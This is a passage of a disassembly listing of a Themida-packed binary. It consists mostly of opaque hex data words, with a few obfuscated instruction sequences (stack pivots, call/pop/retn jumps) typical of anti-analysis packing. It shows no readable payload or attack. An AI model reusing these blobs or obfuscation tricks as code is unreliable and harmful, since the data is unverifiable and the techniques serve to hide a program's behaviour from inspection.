8D4855E4h, 9AC61466h, 0E0D08BA8h, 0DC000000h, 6366567h dd 0E7404A79h, 53F09254h, 32E4194Dh, 2E629135h, 0A594112Ah dd 3E53F029h, 7906365Ah, 58275447h, 9CA87726h, 0A76DE9E1h dd 57467807h, 2CD28AD3h, 92B453F0h, 7688171Bh, 45384910h dd 0B988D135h, 3A53F052h, 0C1BCC956h, 0D435ADDDh, 6834DD52h dd 1628A792h, 0CFF35767h, 577B3250h, 0DD6CC924h, 5653F01Bh dd 148720F2h, 0B57F3A55h, 0DCF31E38h, 6FB39749h, 8982F617h dd 3702A31Eh, 4C55E433h, 264B4AC8h, 8E4FCB6Bh, 58DAD1FFh dd 48172428h, 27C04439h, 0E7B27528h, 9F63043Bh, 0E121D2Fh dd 1D2D0000h, 19E62h, 0F31E898Dh, 0D7F572B6h, 0C0CF58DCh dd 0EEC249CDh, 0B0742958h, 9F631A37h, 85890400h, 71B5E81Ah dd 0C978A504h, 4A55ECADh, 68678709h, 5476F135h, 801FD559h dd 75E01B61h, 42DDD8F6h, 0DA3E4E43h, 6CCD5D58h, 0F90649DCh dd 5EBAD2CDh, 9CA3023Ah, 0BC55E49Ch, 64FB138Ah, 0F9B4D062h dd 292145C1h, 0A3678E51h, 22304786h, 8BA89AFCh, 0F34EEF5Ah dd 7055E490h, 0C365060Ch, 0A000000h, 0D85A5173h, 36656756h dd 0C3DF9506h, 796160D8h, 0DBD6F532h, 0E838259h, 95E1BFFEh dd 0BFC153F0h, 0ADDF48CCh, 0B756CEFEh, 0C96DCAC1h, 6249DC7Dh dd 9B6A1A1Eh, 4042F416h, 0B5D93D4Dh, 6CEF0185h, 3E4779ACh dd 56C1FA1Eh, 7787F617h, 0DDBF1D13h, 0B5BB141Ch, 0A50C7E7Fh dd 1054FCBh, 231E9F0Ah, 0E75FDA64h, 0DA648B46h, 0B004085Fh dd 0E66546CCh, 1566AAE7h, 4E7E3B56h, 749348CAh, 8F35F639h dd 5DCD6304h, 0D074Fh, 9F123200h, 82FB0C9Bh, 0ABE6E17Eh dd 0D3CAF867h, 0FCB1D04Fh, 2999B338h, 4A3671Ah, 1D8A8E07h dd 0F572B6F1h, 3954D8D3h, 0D2D665C2h, 266D55ECh, 356867E2h dd 595476F1h, 65671FD5h, 0FFA05321h, 0F32AA885h, 0F0965FEAh dd 4C70D453h, 92B0CF3Ch, 4042191Bh, 0BD80C94Dh, 9D53F096h dd 0C4BFCB6Bh, 0E82C50B4h, 2E5E4D7Fh, 4F7C2F51h, 6D9E0F30h dd 0F09671C0h, 848EF253h, 2A418E38h, 6EB2E91Bh, 94911CC2h dd 0AEBA85h, 80760000h, 0ABE2E061h, 92241790h, 0DBBF53F0h dd 522984B7h, 0C94D7D30h, 92C675B2h, 0F95D53F0h, 72C8BA3Bh dd 64149DCh, 56668A07h, 0E4B268D7h, 244B8A55h, 0A8A908D6h dd 72968Bh, 0B9020000h, 53F09285h, 65C2A342h, 53F092D6h dd 0B6C5E96Dh, 0E6ADCFBEh, 0DA584F0Bh, 1E67EE9h, 136B54C6h dd 7F97060Ch, 0F049DC9Eh, 0DFE07F8Ch, 0F83A9EAEh, 0EDA0AF38h dd 0F21F6EDDh, 0A44579BBh, 787ABBD0h, 0F14FC99Ch, 0F21E898Dh dd 0CE1F87B7h, 762481BAh, 0C845F56Fh, 0EF1F92B1h, 0F559A96Bh dd 8D3FB31h, 0B1C80000h, 41EE1D90h, 41CDB3F2h, 1D070D71h dd 19E4FD8Bh, 5A722B5Ch, 279F28FEh, 13F2CA48h, 49C95665h dd 0AA49DC3Fh, 0EDF95A6h, 67222EDCh, 583DF357h, 357183FCh dd 0E48749F4h, 570AB55h, 0E487A998h, 0EC262A55h, 44EAE80Fh dd 528BA89Dh, 17h, 9286B95Eh, 8F5D53F0h, 0FFFFFC13h, 0B584219Ch dd 0CE53F092h, 8046C84Ah, 0A9E4E061h, 0D297685h, 0A649DC6Fh dd 340BAAA2h, 0D655E49Fh, 3E4DE037h, 0FD9D9712h, 8BA8952Fh dd 4C84Fh, 0C461DC00h, 55E49775h, 6E9D8A8Eh, 75BF1B33h dd 0D2F48BF3h, 4BFB59DBh, 592F4C9Dh, 111ED435h, 34074609h dd 0ED53F041h, 0E1B85C13h, 0EA6E22B9h, 0DD5AB5C6h, 53F0C26Eh dd 109361E5h, 0DC3B6397h, 9BACB349h, 7A9CEAE2h, 0D82E51C3h dd 1B6FA5C9h, 0A1C5C0CCh, 0AC15CB68h, 2E992BB9h, 2AB2B281h dd 0C74D31FCh, 516A1EEFh, 0B28AB9E6h, 509FC2Ah, 0D641BC0Fh dd 2AB2FA49h, 1F1579FCh, 66F409Eh, 8687C6E6h, 61E51D17h dd 6410F169h, 5671D657h, 6CE2FC31h, 3AB9A412h, 32496DB7h dd 8C931C2Bh, 5469D947h, 60E41438h, 0AC7FCA6Bh, 90F4EFF5h dd 0BEB62182h, 630EC0A7h, 45404B05h, 67ADD135h, 0EE1C96A8h dd 108F93B7h, 0C178BFEEh, 59B32A58h, 0A7AD3E1h, 85850000h dd 6899060Ah, 5B76F135h, 3F4DDA5Eh, 2827C044h, 62AB175h dd 181C91B0h, 70B828Fh, 0ED316C98h, 0D95D5072h, 51E04DBCh dd 0D255ECD0h, 65677FA1h, 4F9E0636h, 59A50239h, 0D249DC75h dd 387395h, 1B367784h, 9855E4B5h, 0E47B90B4h, 596AA8E5h dd 0B28696EEh, 0BF3502Dh, 7B365209h, 931C28B7h, 5856520h dd 183054BBh, 0E410AA99h, 0E0E15C55h, 0C72655E4h, 502F9AB1h dd 3ABB7934h, 4FC8FD48h, 0BF8A2B86h, 345FD80Dh, 0A2A6C250h dd 0D340BAAh, 37D65FD8h, 2B4C92E0h, 386A91BDh, 0FF000000h dd 1E2E5F60h, 205B6DBAh, 618068D2h, 4747E01Bh, 0FF49DC49h dd 132B6260h, 265768B7h, 60B216h, 139C0F3Ch, 55E4B920h dd 6A2324A3h, 40D2F652h, 275664h, 80DC0000h, 47E01B61h dd 49DC7647h, 10238CFFh, 9355E4B6h, 2E1D65AFh, 0E4B6B281h dd 9DBF3155h, 6C55364Bh, 526A8EB2h, 36656758h, 2F8544F1h dd 0BE8CFC6Fh, 96Ch, 47797h, 0F3376667h, 0D85C5974h, 0C64A414Fh dd 0B3772A59h, 8FBE0428h, 74910E12h, 5E6AF539h, 3E40DF23h dd 53AECB4Fh, 0ECD167D2h, 6D57FC55h, 0E01B6180h, 0DC910B47h dd 0EF48BB49h, 55E4915Ch, 41A173D7h, 90B2CDFDh, 6E50191Dh dd 0ABAC3F5Ah, 96EE325Eh, 0AD0A0177h, 6483482Dh, 0B5CAC246h dd 6D151994h, 52D3E89Ch, 7AAF0DA0h, 28636FFEh, 82BA9EEAh dd 77FD1C23h, 900D3C6Ah, 0B6E5E778h, 0FE15C286h, 0C72E2934h dd 1BF7658Bh, 11A71BFh, 80BF0000h, 47E01B61h, 49DC910Bh dd 1C6398FCh, 407CB6EFh, 77E8CD3h, 98B0ED18h, 2759F63Ch dd 1537B074h, 0EBD75666h, 0ECAC3F5Ah, 0ABDDEC03h, 91B32CF0h dd 2976E11Ah, 7EAFAF1Ah, 4F7FB599h, 7464DCEEh, 0C0D70687h dd 0FF0C7F81h, 635C5669h, 9A1B9C4Dh, 75A27AFh, 0F63C2024h dd 0E8A3A542h, 0B7F063D0h, 75A2784h, 0CAC3C01Fh, 8C586CA6h dd 0FF6ACBC0h, 74075A27h, 95740C10h, 0E79D4E7h, 5A2792A1h dd 0E72D1107h, 76C184F6h, 91A9AD1Dh, 29EC5222h, 373A607Fh dd 611C2EFDh, 0BBF2136Ah, 1C2EB979h, 1A326F9Ah, 0C3629ABEh dd 94E8158h, 2F0269C8h, 40783550h, 6F914EC4h, 20B1F83Ch dd 0EFBDA248h, 3DAA6E1Ah, 0E47B900Bh, 5A6AA8E5h, 3AB9D8DBh dd 0C52C8B06h, 0AA011A6Ah, 93AB38B4h, 0A5358E90h, 42D0F46Fh dd 0B007B8Dh, 730EC67Dh, 6CA6AFF7h, 92093BA4h, 119E097Ah dd 6A90722h, 5F57DDA1h, 64C1FA8Eh, 1C85F782h, 9953D7BBh dd 35h, 0FDB0DFAEh, 41CB49CDh, 0E01B6180h, 0DC494747h dd 0A4D4B849h, 2FF3AADBh, 0D04B6B9h, 317E8DF9h, 55E4BF1Ah dd 77C263DEh, 8C55E4BFh, 385C5773h, 0CF8A8EFAh, 99FD8B45h dd 168DBB90h, 6B062A00h, 26D0F2A9h, 0C0446825h, 205B21C0h dd 0E176BFB5h, 4354945Fh, 0CC52C4B1h, 0B0AB49DCh, 0E472C477h dd 25FB5F55h, 34FEF4CDh, 0B2C9EDDDh, 20E49FABh, 0F8108B87h dd 0E01B6180h, 55E4FF75h, 6426BD41h, 38D32FAEh, 0F0544FC8h dd 0D8884DBh, 2B9B99FDh, 0D811B38Ah, 1C95745Fh, 7A91B5F0h dd 0F4EC493Dh, 4E7EC245h, 0CC0250EFh, 3C53B241h, 0D11CF03Eh dd 3F8E97h, 802A0000h, 0FDC0E961h, 0EE8EB791h, 0C7A3B1CAh dd 0EF75E48Ch, 52D3EC26h, 49DC9854h, 793452ADh, 0A9A1C541h dd 6F26233Ah, 4725FB5Fh, 0DA126486h, 17DF49CBh, 0EC000000h dd 0FF57EC94h, 8C86C9DFh, 1B61808Ah, 764747E0h, 0D4B849DCh dd 65678EA4h, 854EF136h, 86F66F2Fh, 6B7B4h, 0CFC2C200h dd 0F2ABDC4Bh, 1B96B12Eh, 37A8817h, 2C6160FFh, 0F94963E8h dd 0D453D7CAh, 0AD3AFEB7h, 8522E6A1h, 69040883h, 0D4A69512h dd 963D55ECh, 0AA571E12h, 0CDFDB8D3h, 12F3CB49h, 0F5165566h dd 0E2DC66B8h, 516AF2F7h, 3347E0C3h, 8349DC78h, 5CD6CFFCh dd 7AE92024h, 46DD77EAh, 858F1CD6h, 3B53F908h, 1F2E3D13h dd 0CD1C9062h, 3E4E4744h, 1885B6DAh, 8187AA12h, 8E070443h dd 1BEA526Ah, 0B8D15E6Dh, 0BB87B38Eh, 0A3A5A4D7h, 89BB24E8h dd 79740D12h, 9C0C9AABh, 61B8Eh, 6B262600h, 960738A7h dd 0BFFA1592h, 0A7DEEC7Bh, 0C8C5C463h, 25EDC744h, 38A76B26h dd 118E920Bh, 0E976BAF5h, 3560A4D7h, 0D5DA69B6h, 3A5955ECh dd 366567F6h, 2F8562F1h, 90A21A6Fh, 5DCh, 70B4E7E7h, 63A7D6F7h dd 48CCC9C4h, 36FAB1DFh, 23E79AA9h, 0FF0EB498h, 0E4E17E82h dd 0CEFA65A9h, 0AED04FD3h, 0E35E3BFFh, 0ECD5F742h, 0DDC70C55h dd 6366567h, 5BCB4F9Eh, 4BC1F009h, 0D05D6E92h, 49D4EB54h dd 1D65A9ADh, 330EAFCCh, 0B055EC63h, 1293A8CCh, 4FC0617Ch dd 387991F5h, 5FC06105h, 1E1178E7h, 3048434Fh, 6CB25ED4h dd 0A91C57Bh, 0D1h, 3003AC1Fh, 0B35FC079h, 1EC345CFh, 295FAE58h dd 0A9D8A712h, 0B240C4F4h, 0DC6BB7C3h, 0B7C44849h, 80B9BA1h dd 25217C89h, 0D2F6526Ah, 0A384A540h, 9804FB35h, 9D080349h dd 0A9A38CC7h, 0D48014B3h, 331B0D5Eh, 67B46A36h, 0FEC4267h dd 387667ADh, 7E9CC776h, 93ABE2EFh, 8185FD37h, 7FF01189h dd 0AA2E5E4Dh, 0DAF67586h, 5D6D2824h, 6C5FD5F9h, 0F07E7AC3h dd 7A91F592h, 900DC5EAh, 4FC5BC9Ch, 0A0DBED7Ch, 0CAC1C35Ch dd 0E89AC045h, 5A68C08Dh, 4D4h, 68ACDFEFh, 5BDFCEFFh, 40C4C1CCh dd 2EF2A9A7h, 1B1F92B1h, 0F716BC90h, 0DCE976BAh, 0C6C25DA1h dd 0A6D847CBh, 0FB4633F7h, 0ECDA8FBAh, 0C5CF0455h, 0D92Ah dd 6362F900h, 78BA1E2Eh, 1B6180F6h, 0C86E99E0h, 0ADDDC1BCh dd 42C57DBh, 0BBDF3EBEh, 77E14E79h, 0CB49D448h, 0C66CDF58h dd 604555ECh, 2CB9C951h, 0E2301468h, 1E898286h, 0EC61A291h dd 17C8A55h, 6FD33B4Dh, 0BC21EBF8h, 52299A98h, 2EB97D30h dd 0FF6A611Ch, 0EC6A83BEh, 6BE64755h, 0E855EC6Ah, 91DE1064h dd 30BCB4FFh, 424ED9FDh, 41D33747h, 98ECFD65h, 0B3EA1C63h dd 0C8C5C49Bh, 0E23054B0h, 597264C1h, 7C8B4FC0h, 1F2F534Ah dd 193246A7h, 0ECA5F69Ch, 7BE97F45h, 78A258C5h, 3DB87F63h dd 555CEB62h, 3F6D7E5h, 1010000h, 0EC1D8A8Eh, 0D7F26DB1h dd 0BBC956DAh, 0A4A33CC0h, 0B2A625E9h, 84880504h, 73B7EE1Bh dd 59DDD8F4h, 3DC1BCCEh, 0FD4CE950h, 7655ECDBh, 8AB9DBDDh dd 7C53F092h, 53F092C1h, 0F7C9770Dh, 0CAE19D6Ah, 44742F5Dh dd 6B7A32C0h, 0E196EE1Dh, 0A53FD494h, 2C893AF8h, 49D48D28h dd 5ECDFD41h, 888A010Fh, 35FAB1D3h, 691275C4h, 85BE8CFCh dd 0B0000003h, 8E191D90h, 63FC007Dh, 7EE92D68h, 56D15550h dd 35B67A37h, 1994B303h, 7D8A15h, 2C6763FCh, 5E4D7FE8h dd 0E34CBFDAh, 55ECDB50h, 8B7CA0D3h, 0D10678FDh, 0D55F1784h dd 71890406h, 1A9BF809h, 53F0EC2Fh, 8FBCA0A4h, 0DC39982Eh dd 0F1351949h, 0BEF2BAA8h, 0A4017CAFh, 782E7695h, 0BA0E8985h dd 808F5CD6h, 6F9E090Dh, 47A21A32h, 4E7B0239h, 0C1E5A0ACh dd 13C74DC9h, 366567C1h, 54477906h, 0A8A4BBD0h, 7E8F27EDh dd 0FAB4F10Ah, 7349DC63h, 8FBEFF0Fh, 6D55E483h, 0A14F8BE2h dd 3D8BA899h, 50h, 0C6180FBh, 0F09290A3h, 0B2F1353h, 291885F0h dd 0AA53F092h, 92C574B1h, 0FA5E53F0h, 0C2635CD6h, 49DC6C54h dd 2291A9ADh, 6311C852h, 3D4E3E8Fh, 0E4F541F0h, 0B47EC255h dd 0E4F50639h, 0A6A5E455h, 4724EEABh, 0F3FC2230h, 0EC9A8BA8h dd 16000000h, 6366567h, 0EFA54A79h, 4770DC2Ah, 6AF50529h dd 4A152558h, 0CAC14538h, 8F63DE5Fh, 6A753F0h, 53F08FCBh dd 8CF0C448h, 0F53F7693h, 0F08A24F8h, 9848653h, 0C79062F2h dd 6F3538BBh, 5072EDA5h, 54B52D5Dh, 0C08A2B20h, 2949DC6Bh dd 40A1E125h, 0B940734h, 55E4D338h, 625DD7BBh, 0CB8BC1C5h dd 25563A4Fh, 1B92B3CAh, 8C86FF0Ch, 406B0DFh, 0F1157189h dd 62648ADAh, 5F0E0837h, 83821DD5h, 0B0A2090Eh, 62DA6304h dd 20350h, 930E3E00h, 0BEEF108Fh, 0A7E2ED7Ah, 0CFC6C463h dd 0F0ADDC4Bh, 3D85AF2Ch, 108F930Eh, 0E976BAF3h, 0C15EA2DDh dd 2D48CCBFh, 0D9E251DEh, 0D26155ECh, 356867EEh, 42FF4E06h dd 9ACAA056h, 0BD19316Ch, 40DF9B99h, 1B92B43Eh, 484367E3h dd 8D9A1531h, 440C0681h, 0E85BC437h, 6B53F023h, 802B2DE7h dd 90A30C61h, 1353F092h, 0B7F00B2Fh, 49DC6CA7h, 85245438h dd 55E49CBAh, 456BD58h, 8BA89AD6h, 0E4E0h, 0D7F67500h dd 0EC26A2DAh, 3665676Ah, 404A7906h, 0AFA50430h, 3A03EB54h dd 53F08F0Fh, 6A678084h, 9BBF1B33h, 8A1AC263h, 4A7C53F0h dd 1F213853h, 4035C6Ch, 89BA6589h, 215A1E14h, 7D8B2D5Ah dd 7B10E206h, 0C93A5249h, 1A1895B2h, 63543A2h, 0DC55D599h dd 0F63A1E49h, 0E1FB7F8Eh, 4E454399h, 9E44DA3Eh, 0F03ECD78h dd 92354B1Bh, 0C6314A6Eh, 0A7008687h, 55E44894h, 0D072B2Fh dd 0CB2D6780h, 87B4984Fh, 0F326C9F8h, 7B634215h, 2C6F09CAh dd 1D016A58h, 9BAA35F9h, 3FC421E6h, 6CDC6304h, 0DB5Eh dd 0ABE6E600h, 0D6C7F867h, 0FFBAD552h, 0E79EAC3Bh, 8858423h dd 0E5AD8704h, 0F867ABE6h, 0D14ED2CBh, 0A936FAB5h, 7520E497h dd 0DE9AA9F6h, 0FA1955ECh, 35686736h, 0C5C39AF1h, 0D85ABECEh dd 868A0103h, 0C465674Ch, 275411F5h, 0BCCCF024h, 9E0F304Fh dd 0D6C5C794h, 5EDF4AA5h, 53F0D9E3h, 6EDD1C60h, 0E553F0D9h dd 9FE79361h, 96013A4Eh, 33C1BCD7h, 0D414D642h, 1C2F1349h dd 0EE8B7B44h, 0A66C7837h, 54477906h, 0A9A4BBD0h, 576926ECh dd 7BA41724h, 55ECC0C8h, 0A5D2354Bh, 58FF89F7h, 6FCEFE34h dd 4B4DA672h, 24638A65h, 38A76B22h, 18679706h, 403D48EAh dd 38532C5Ch, 11324D7Dh, 9F386C9Ch dd 0AE8DB278h, 97063847h, 0BBF21493h, 0AB183h, 8B3F0000h dd 0AFDFD6F4h, 0DBD9E92Bh, 4346767h, 3A52497Bh, 5E6E2925h dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h dd 27574647h, 5A54521Fh, 4C281h, 0EA830000h, 24148704h dd 0C56685Ch, 1C890000h, 0E0895024h, 405h, 42D00h, 4870000h dd 3C895C24h, 0E2685224h, 5A32DD6Ah, 8104E2C1h, 9B624CCAh dd 0AAEA817Eh, 811EA806h, 0DCACD6F2h, 5AD3897Dh, 74FFEB81h dd 434B3F31h, 0DBF7D3F7h, 0EBA9F381h, 8B54DBA5h, 0C483243Ch dd 0BA525304h, 15AA5F5Ch, 4245431h, 8478F5Ah, 5C087781h dd 8B15AA5Fh, 8956243Ch, 4C681E6h, 83000000h, 348704C6h dd 34FF5C24h, 0C4835B24h, 32C6E904h, 310BFFF8h, 9AC1661Eh dd 1C4D81B8h, 0FFC50306h, 9699F6E0h, 6AAEF53Ah, 0E7E8615h dd 0CBF2F950h, 7D048041h, 0B7ED543Bh, 688F3A13h, 0EF3F980Dh dd 7618190Bh, 591FFB4Ah, 58084243h, 9B7DC22Ah, 7EEED157h dd 80393547h, 275CD19h, 6634B422h, 0CD69BC10h, 0F5BB672h dd 0A61B807Fh, 9DD26B75h, 0E729B360h, 8BDAA85Ch, 0A4EFDE0Fh dd 92978465h, 0F3004573h, 6C50B80Fh, 0CB77166Fh, 0FBF14A3Dh dd 2F0BDC14h, 0F6CE834Ah, 0AFF6140Dh, 1DE915h, 25D70000h dd 6162h, 5 dup(0) dd 0E9000000h, 53Eh, 1CE09BABh, 70B8283h, 0EC306D98h, 0DA5E5573h dd 0BF433E4Dh, 9BAA183Ch, 888522E6h, 729E090Dh, 5274F337h dd 47BAD75Bh, 0ECDC6BE6h, 61ABE855h, 6366567h, 0D3574A79h dd 51E04DB8h, 0D253F092h, 0D5F7A46Eh, 0FD3A95A6h, 53F0924Eh dd 0F3B341C5h, 28235A6Ch, 0B67C2F51h, 255869F6h, 6F867115h dd 0BB7F2E50h, 6F9E202Ch, 6EFD0E32h, 27D3215Ch, 0FA118CB8h dd 11296463h, 304F7FB5h, 0E5629A13h, 0A4A0DF36h, 88BA25E9h dd 0FA44E515h, 0D853F092h, 85DAF2ABh, 47F30B86h, 0D159E108h dd 559BD73Eh, 6185948Ch, 70h, 0A2FD8B4Fh, 36739E9Fh, 9718CEE0h dd 0C1BCCE9Dh, 0A1D768C9h, 0D2F353F0h, 0ADDCA3DBh, 0DF80D8F0h dd 0C5AA72B8h, 0BF7EACAEh, 1188594h, 94000000h, 7376667h dd 0FEB9D594h, 13C84ACEh, 0FC83BBF2h, 64212CCEh, 0A30C4840h dd 910C3D4Ch, 646FFE8Dh, 5A21129h, 53F09236h, 6FA5C94Dh dd 1B1F8EB0h, 4BEB1960h, 2D5D413Ch, 514C7EA9h, 0ED57DD39h dd 0BFCE6867h, 92F948D5h, 167A53F0h, 0A1BECEF2h, 2BDDEDA0h dd 474685ECh, 1B2A314Ah, 7BE4AC66h, 253A5249h, 0C25F6F2Ah dd 2A31EC03h, 0C991631Eh, 85948B33h, 0B5F01C63h, 0AD0A0185h dd 0AC0F649Eh, 0E33115h, 7Eh, 356867ACh, 524F7A05h, 5AB11E3Ah dd 6A611C2Bh, 4546F813h, 0B0D43048h, 1A29B662h, 0FA085767h dd 2C504D78h, 3003AC1Fh, 0B353F092h, 247945CFh, 0EC5FD239h dd 19316C9Dh, 928DBCBDh, 20653F0h, 8AD268F0h, 5BCC8594h dd 0E8000000h, 0BFCE6867h, 5E4F4B30h, 375B79BAh, 6C9F8307h dd 1BF3B714h, 7A7FB1ECh, 15882B7Fh, 683FB1ADh, 61FECE44h dd 66122A65h, 8483C229h, 0B5D9D4F2h, 0FD8BA371h, 0A3166C25h dd 0B7EE1BB4h, 0B9CA8193h, 3847B4C4h, 109D9706h, 53F01F2Eh dd 0C5157C13h, 85951A17h, 1A7h, 0FD8B0D00h, 0D8361405h dd 0F11E0958h, 0A6A17EB4h, 7A8CD3EBh, 0AD8C0B03h, 910C0746h dd 6014F58Dh, 9168F86Bh, 0DD7C20DBh, 206E6FA5h, 8649DC90h dd 90BF8A2Bh, 0A23455E5h, 5C9DA62Eh, 0A96B8FC4h, 0BAC5F559h dd 96111588h, 0C8C5C274h, 183054B0h, 0E57FA499h, 960AF55h dd 0A6D5C8FAh, 8FA0AFAEh, 0CC160883h, 5B1F15DCh, 672B5920h dd 0E5B70BC6h, 60848855h, 1133EC68h, 2CE6629Ah, 2E5E4D7Fh dd 4C7C2F51h, 0E936A19Ah, 55E5B75Ah, 0D0BF75D9h, 0AA0B66B9h dd 55E5B79Fh, 2DE23014h, 550A921Bh, 3D48DAA1h, 73B91519h dd 38BA9EFh, 156h, 1B6180A9h, 4A1A75E0h, 955B93F0h, 635348Fh dd 9D53F046h, 0FC7A7BB9h, 7549DC44h, 6163FA11h, 7CB6122Ah dd 6C0D3F40h, 0B66DD44Eh, 0A1A103F9h, 83425A0Ah, 4F77899Fh dd 0EC0D3B5Ch, 0C43744C8h, 0E4B6E85Bh, 0CEBFC055h, 19665ABEh dd 3C98B0EBh, 43451A18h, 1D2F3048h, 6BA85E6Eh, 0C8C3C504h dd 0B042E844h, 595C8BA8h, 58000000h, 0EC1F6580h, 0F0929043h dd 0DFEF53D3h, 0F092E35Eh, 0EC03CCD3h, 0EC732331h, 4779EC58h dd 1968CACBh, 0EC264A55h, 34470DD8h, 60981335h, 229D2EE4h dd 79EDD252h, 5BD9C80Eh, 0F0238F5Ah, 56D74453h, 53F023FBh dd 2CF01478h, 9DFEh, 0D552CD00h, 53F02366h, 919B99FDh dd 0D8D5F48Bh, 0F583625Ah, 178687C6h, 4105A21Dh, 0BA49DC6Ah dd 0A7D9A6D6h, 86B8C7F4h, 8D63E717h, 0B883EB36h, 9D55DF75h dd 5B760002h, 86AA2E5Eh, 0D9D4F675h, 0DFEF25A1h, 0B4EF1D6Ch dd 0FA225362h, 69ABA6F2h, 0E41CD06Ch, 0F762D955h, 0E4029BB6h dd 0FE341855h, 0B9CBFA11h, 0A7463EC2h, 687DBAD1h, 0E34FC0BDh dd 0F21D6C9Fh, 0ED0387B7h, 78F845D3h, 0DBEB2954h, 0F30B8284h dd 0D84EA594h, 0EF484309h, 45E453FAh, 0DDD0F20Dh, 0F60529ADh dd 0D3215C77h, 6180ED27h, 5247E01Bh, 0E249D42Dh, 0FF35709Bh dd 0E877878Bh, 3994A7D6h, 0ECDD4DFCh, 0B042C655h, 36656700h dd 0B8D69506h, 0B4637FDh, 18EC6A4Fh, 86C558BFh, 540B0984h dd 39407B32h, 0E367970Ah, 5A2A6111h, 64F6F447h, 0D18DCFC2h dd 0D89BC254h, 0EB1DB240h, 68CD9BB0h, 763C195h, 0BBC4E032h dd 61E6168Dh, 1A2C5BB2h, 0F5116863h, 2FB878BAh, 4C5E6E1Dh dd 3, 67A68CEAh, 7B043467h, 253A5249h, 15E6E29h, 0EE718904h dd 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh, 4718306Dh, 1F275746h dd 148368h, 241C8900h, 0C381E389h, 4, 8704EB83h, 685C241Ch dd 1FC5h, 68240C89h, 3F13h, 57241C89h, 4935C1BFh, 0BCEF814Ah dd 833BE863h, 0EF81FFC7h, 73F42CEDh, 5F1FCF81h, 0C7817515h dd 69E4FADh, 545FF989h, 81241C8Bh, 4C4h, 8BA5200h, 1000000h dd 28F51DAh, 241C8B5Ah, 81E18951h, 4C1h, 4C18300h, 5C240C87h ; --------------------------------------------------------------------------- mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_585C7C ; --------------------------------------------------------------------------- dd 0B7FAEF44h, 64AAD5D6h, 74B84542h, 3061C53h, 16E0FFC5h dd 616172BAh, 8D2714DAh, 8F7FA031h, 4A1A4Fh, 3B040486h dd 0D129402h, 0A07C8D07h, 0D763BDE0h, 0F1489ECEh, 0C409B9AFh dd 291BD0A8h, 0D620B52Ch, 476A3AC2h, 0F039ABCh, 0D301EA1h dd 8D51850Bh, 1C55808Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 8B0286ACh, 14254585h dd 698D8906h, 0E806142Bh, 14h, 0A9F0D8D3h, 1200705Bh, 4C089F7Bh dd 0A46C9931h, 460AE877h, 11E9h, 77204F00h, 7DE24A94h dd 5CBF144Ch, 50DB3234h, 895FD1B4h, 141A91BDh, 5585C706h dd 3C061410h, 81000062h, 0E55276CAh, 3D85C705h, 61401h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0D71EC357h, 61B5FFCFh, 6A061400h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0D16BC357h, 0D95A723Ch, 0FF8B5758h, 140BD995h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0E8A9CE6Eh, 12h, 436134E1h, 0A9630B73h dd 0D375DC04h, 0B526433Eh, 10E886CEh, 0B9000000h, 0DC3E627Ah dd 0AAFA18B7h, 8A6316F3h, 81C5891Eh, 0EFFDDBD8h, 2B5E5B04h dd 1430ED85h, 0FF006A06h, 14297195h, 0EBC08B06h, 0A88DF06Eh dd 3ECCD5E8h, 15B93C86h, 2A986529h, 0B4FD50DAh, 8739316Ch dd 0A9290181h, 5C8F9992h, 939FCC64h, 0BAB06490h, 80A58E3Ah dd 0E998EA40h, 1A6EFA14h, 0E74A6356h, 7CDC3DF5h, 83433136h dd 73D6BD6Dh, 5FA3324Ch, 4288EC8Bh, 3733B681h, 51640F48h dd 141D9115h, 2608290Eh, 671AD93Ch, 23A9A814h, 961EA16Eh dd 9DF891F6h, 8DD3A306h, 1C56DF8Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 6E14BD4Bh dd 698D890Ch, 6006142Bh, 0F5B58BFCh, 6106141Fh, 105585C7h dd 72240614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0A18127C3h, 839791EFh, 85C71AB0h dd 614013Dh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_603207 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_603207 proc near ; CODE XREF: Themida_:006031FFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_603207 endp ; --------------------------------------------------------------------------- db 0BBh dd 7F3250C9h, 66895DB5h, 4FD2C881h, 0AE9h, 854AC900h, 8A2FFA37h dd 0FFC9C722h, 140499B5h, 0CE96006h, 1B000000h, 36742749h dd 5A825259h, 0E929EF09h, 11h, 4230BE01h, 71BFDF99h, 0F25C7D72h dd 163E5C69h, 95FF6180h, 6140BD9h, 6810Fh, 0D3810000h dd 2694D6AAh, 95FF006Ah, 6142971h, 7AEBC08Bh, 0BE54741Dh dd 8B59B12Dh, 11B58B16h, 8EF0C7F3h, 0C9DE27C3h, 0CA433FDh dd 0DFF6ACEAh, 0B1F19AF2h, 0EB139675h, 0C65A11EAh, 0F95F61B8h dd 0D7D06BBFh, 7A3ACEE1h, 0A10FAB65h, 731F436Dh, 3349BFA7h dd 0D08BD3B0h, 3FE22CB7h, 353668CCh, 79E0778Ch, 2FF7EA19h dd 0C16901C1h, 63EACDBBh, 0E5E399FEh, 0E774666Bh, 746AAD0Fh dd 2510238Bh, 36E31460h, 10E141CEh, 3067C673h, 11E9EA15h dd 0C9000000h, 7037F0h, 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_603845 ; --------------------------------------------------------------------------- db 1Eh, 0EEh, 0B3h dd 0DECFF06Fh, 0C7C2CD5Ah, 0EFA6A443h, 108DBC2Bh, 1DA58F0Ch dd 0F06FB3EEh, 0C956DAD3h, 0A13EC2BDh, 4D28EC9Fh, 0C582B1FEh dd 0F20155ECh, 399BE177h, 535F1288h, 65675FC1h, 48460536h dd 926EDD5Ah, 61E553F0h, 68F7B77Dh, 47E02459h, 59265645h dd 3B447427h, 281B840Ah, 0AB53F092h, 0F88883A7h, 0E8824797h dd 9D1A313Ah, 